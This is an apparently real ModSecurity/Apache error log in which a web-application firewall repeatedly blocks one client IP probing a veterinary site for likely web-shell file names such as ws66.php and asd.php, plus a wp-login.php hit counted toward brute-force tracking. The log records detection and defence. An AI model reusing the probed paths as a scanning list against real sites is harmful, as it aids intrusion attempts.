[Fri Apr 24 06:25:31.372357 2026] [:error] [pid 19200:tid 19212] [client 23.100.53.213:31779] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eetu.php"] [unique_id "aeqcWzQ--M3-tsKAnhGonQAAAMQ"]
[Fri Apr 24 06:25:33.687161 2026] [:error] [pid 52129:tid 52136] [client 23.100.53.213:43569] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eetu.php"] [unique_id "aeqcXeKCZKf8_u2LKiBxVAAAAQM"]
[Fri Apr 24 06:25:36.402728 2026] [:error] [pid 19200:tid 19232] [client 23.100.53.213:31751] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeqcYDQ--M3-tsKAnhGorAAAANg"]
[Fri Apr 24 06:25:37.800640 2026] [:error] [pid 19101:tid 19148] [client 23.100.53.213:39278] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeqcYWAHj9bEvrTgbO3VLgAAAEs"]
[Fri Apr 24 06:25:39.751742 2026] [:error] [pid 19200:tid 19212] [client 23.100.53.213:44127] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeqcYzQ--M3-tsKAnhGouAAAAMQ"]
[Fri Apr 24 06:25:40.864054 2026] [:error] [pid 19200:tid 19222] [client 23.100.53.213:34251] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws66.php"] [unique_id "aeqcZDQ--M3-tsKAnhGovQAAAM4"]
[Fri Apr 24 06:25:43.263602 2026] [:error] [pid 19100:tid 19109] [client 23.100.53.213:46439] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "aeqcZ7F_hzQs4CqbifcQeAAAAAA"]
[Fri Apr 24 06:25:44.148677 2026] [:error] [pid 19100:tid 19110] [client 23.100.53.213:31775] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "aeqcaLF_hzQs4CqbifcQfAAAAAE"]
[Fri Apr 24 06:25:44.997040 2026] [:error] [pid 19102:tid 19172] [client 23.100.53.213:46437] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "aeqcaADSgrbLEZbkqD7N9wAAAIg"]
[Fri Apr 24 06:25:46.061498 2026] [:error] [pid 52129:tid 52147] [client 23.100.53.213:39264] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "aeqcauKCZKf8_u2LKiBxYwAAAQ4"]
[Fri Apr 24 06:25:47.479520 2026] [:error] [pid 19101:tid 19158] [client 23.100.53.213:49526] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aeqca2AHj9bEvrTgbO3VOgAAAFU"]
[Fri Apr 24 06:25:49.562878 2026] [:error] [pid 19200:tid 19230] [client 23.100.53.213:45287] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aeqcbTQ--M3-tsKAnhGo0AAAANY"]
[Fri Apr 24 06:25:50.521206 2026] [:error] [pid 52129:tid 52138] [client 23.100.53.213:45660] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aeqcbuKCZKf8_u2LKiBxgwAAAQU"]
[Fri Apr 24 06:25:51.262990 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:49530] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aeqcb-KCZKf8_u2LKiBxhgAAARg"]
[Fri Apr 24 06:25:52.286040 2026] [:error] [pid 52129:tid 52155] [client 23.100.53.213:44190] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aeqccOKCZKf8_u2LKiBxigAAARY"]
[Fri Apr 24 06:25:53.407450 2026] [:error] [pid 19200:tid 19215] [client 23.100.53.213:44023] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aeqccTQ--M3-tsKAnhGo1gAAAMc"]
[Fri Apr 24 06:25:54.190147 2026] [:error] [pid 52129:tid 52157] [client 23.100.53.213:49475] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aeqccuKCZKf8_u2LKiBxkQAAARg"]
[Fri Apr 24 06:25:54.988657 2026] [:error] [pid 52129:tid 52139] [client 23.100.53.213:38462] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xx.php"] [unique_id "aeqccuKCZKf8_u2LKiBxmAAAAQY"]
[Fri Apr 24 06:25:55.606944 2026] [:error] [pid 52129:tid 52142] [client 23.100.53.213:34260] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aeqcc-KCZKf8_u2LKiBxnAAAAQk"]
[Fri Apr 24 06:25:56.501047 2026] [:error] [pid 19102:tid 19166] [client 23.100.53.213:45154] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aeqcdADSgrbLEZbkqD7OCQAAAII"]
[Fri Apr 24 06:25:57.455536 2026] [:error] [pid 19200:tid 19223] [client 23.100.53.213:43604] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aeqcdTQ--M3-tsKAnhGo3QAAAM8"]
[Fri Apr 24 06:25:58.702154 2026] [:error] [pid 52129:tid 52134] [client 23.100.53.213:45295] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5.php"] [unique_id "aeqcduKCZKf8_u2LKiBxrAAAAQE"]
[Fri Apr 24 06:26:00.304570 2026] [:error] [pid 19100:tid 19115] [client 23.100.53.213:25895] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aeqceLF_hzQs4CqbifcQiwAAAAY"]
[Fri Apr 24 06:26:01.112971 2026] [:error] [pid 52129:tid 52140] [client 23.100.53.213:45635] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aeqceeKCZKf8_u2LKiBxtwAAAQc"]
[Fri Apr 24 06:26:02.152513 2026] [:error] [pid 19101:tid 19148] [client 23.100.53.213:41215] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aeqcemAHj9bEvrTgbO3VWAAAAEs"]
[Fri Apr 24 06:26:03.118378 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:25856] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cu.php"] [unique_id "aeqcezQ--M3-tsKAnhGo6wAAANA"]
[Fri Apr 24 06:26:04.221615 2026] [:error] [pid 19101:tid 19146] [client 23.100.53.213:38765] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aeqcfGAHj9bEvrTgbO3VWwAAAEk"]
[Fri Apr 24 06:26:05.759652 2026] [:error] [pid 19101:tid 19159] [client 23.100.53.213:44668] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aeqcfWAHj9bEvrTgbO3VXgAAAFY"]
[Fri Apr 24 06:26:08.354106 2026] [:error] [pid 52129:tid 52151] [client 23.100.53.213:14066] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aeqcgOKCZKf8_u2LKiBx0AAAARI"]
[Fri Apr 24 06:26:09.767118 2026] [:error] [pid 19102:tid 19178] [client 23.100.53.213:47829] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/amax.php"] [unique_id "aeqcgQDSgrbLEZbkqD7OFgAAAI4"]
[Fri Apr 24 06:26:10.892347 2026] [:error] [pid 19102:tid 19177] [client 23.100.53.213:43699] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aeqcggDSgrbLEZbkqD7OHAAAAI0"]
[Fri Apr 24 06:26:11.814569 2026] [:error] [pid 19101:tid 19150] [client 23.100.53.213:14051] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aeqcg2AHj9bEvrTgbO3VagAAAE0"]
[Fri Apr 24 06:26:12.475341 2026] [:error] [pid 19102:tid 19166] [client 23.100.53.213:47866] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aeqchADSgrbLEZbkqD7OJQAAAII"]
[Fri Apr 24 06:26:13.486393 2026] [:error] [pid 19101:tid 19142] [client 23.100.53.213:42383] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mh.php"] [unique_id "aeqchWAHj9bEvrTgbO3VbwAAAEU"]
[Fri Apr 24 06:26:14.617636 2026] [:error] [pid 19101:tid 19156] [client 23.100.53.213:42398] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeqchmAHj9bEvrTgbO3VdAAAAFM"]
[Fri Apr 24 06:26:15.410918 2026] [:error] [pid 19101:tid 19150] [client 23.100.53.213:43245] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Jcrop.php"] [unique_id "aeqch2AHj9bEvrTgbO3VeAAAAE0"]
[Fri Apr 24 06:27:15.476854 2026] [:error] [pid 19101:tid 19146] [client 23.100.53.213:38351] [client 23.100.53.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.100.53.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeqcw2AHj9bEvrTgbO3WNAAAAEk"]
[Fri Apr 24 06:28:22.502589 2026] [:error] [pid 19100:tid 19111] [client 23.100.53.213:26784] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeqdBrF_hzQs4CqbifcRIQAAAAI"]
[Fri Apr 24 06:28:23.882828 2026] [:error] [pid 19100:tid 19118] [client 23.100.53.213:42479] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeqdB7F_hzQs4CqbifcRIwAAAAg"]
[Fri Apr 24 06:28:25.416751 2026] [:error] [pid 52129:tid 52145] [client 23.100.53.213:10056] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeqdCeKCZKf8_u2LKiBztQAAAQw"]
[Fri Apr 24 06:28:26.078131 2026] [:error] [pid 52129:tid 52152] [client 23.100.53.213:42444] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ms-edit.php"] [unique_id "aeqdCuKCZKf8_u2LKiBzuAAAARM"]
[Fri Apr 24 06:28:26.837658 2026] [:error] [pid 19102:tid 19174] [client 23.100.53.213:37865] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "aeqdCgDSgrbLEZbkqD7PYgAAAIo"]
[Fri Apr 24 06:28:27.714482 2026] [:error] [pid 19200:tid 19211] [client 23.100.53.213:41128] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "aeqdCzQ--M3-tsKAnhGq5wAAAMM"]
[Fri Apr 24 06:28:28.459269 2026] [:error] [pid 19200:tid 19225] [client 23.100.53.213:43324] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "aeqdDDQ--M3-tsKAnhGq6QAAANE"]
[Fri Apr 24 06:28:29.418128 2026] [:error] [pid 19101:tid 19147] [client 23.100.53.213:10110] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/press.php"] [unique_id "aeqdDWAHj9bEvrTgbO3WfAAAAEo"]
[Fri Apr 24 06:28:30.094581 2026] [:error] [pid 19101:tid 19151] [client 23.100.53.213:40499] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/900.php"] [unique_id "aeqdDmAHj9bEvrTgbO3WfgAAAE4"]
[Fri Apr 24 06:28:30.902584 2026] [:error] [pid 19102:tid 19188] [client 23.100.53.213:10074] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/900.php"] [unique_id "aeqdDgDSgrbLEZbkqD7PdgAAAJg"]
[Fri Apr 24 06:28:31.702599 2026] [:error] [pid 19102:tid 19169] [client 23.100.53.213:35205] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/900.php"] [unique_id "aeqdDwDSgrbLEZbkqD7PegAAAIU"]
[Fri Apr 24 06:28:32.956488 2026] [:error] [pid 52129:tid 52154] [client 23.100.53.213:47380] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/900.php"] [unique_id "aeqdEOKCZKf8_u2LKiBzvgAAARU"]
[Fri Apr 24 06:28:33.680302 2026] [:error] [pid 52129:tid 52133] [client 23.100.53.213:47410] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeqdEeKCZKf8_u2LKiBzwQAAAQA"]
[Fri Apr 24 06:28:34.573219 2026] [:error] [pid 19100:tid 19116] [client 23.100.53.213:47411] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeqdErF_hzQs4CqbifcRMQAAAAc"]
[Fri Apr 24 06:28:35.256940 2026] [:error] [pid 19200:tid 19226] [client 23.100.53.213:10054] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeqdEzQ--M3-tsKAnhGq7wAAANI"]
[Fri Apr 24 06:28:36.160522 2026] [:error] [pid 19200:tid 19208] [client 23.100.53.213:43326] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeqdFDQ--M3-tsKAnhGq8wAAAMA"]
[Fri Apr 24 06:28:37.580689 2026] [:error] [pid 19101:tid 19143] [client 23.100.53.213:42324] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jk.php"] [unique_id "aeqdFWAHj9bEvrTgbO3WiQAAAEY"]
[Fri Apr 24 06:28:39.715458 2026] [:error] [pid 52129:tid 52155] [client 23.100.53.213:50661] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jk.php"] [unique_id "aeqdF-KCZKf8_u2LKiBzywAAARY"]
[Fri Apr 24 06:28:40.844523 2026] [:error] [pid 19102:tid 19176] [client 23.100.53.213:21032] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jk.php"] [unique_id "aeqdGADSgrbLEZbkqD7PowAAAIw"]
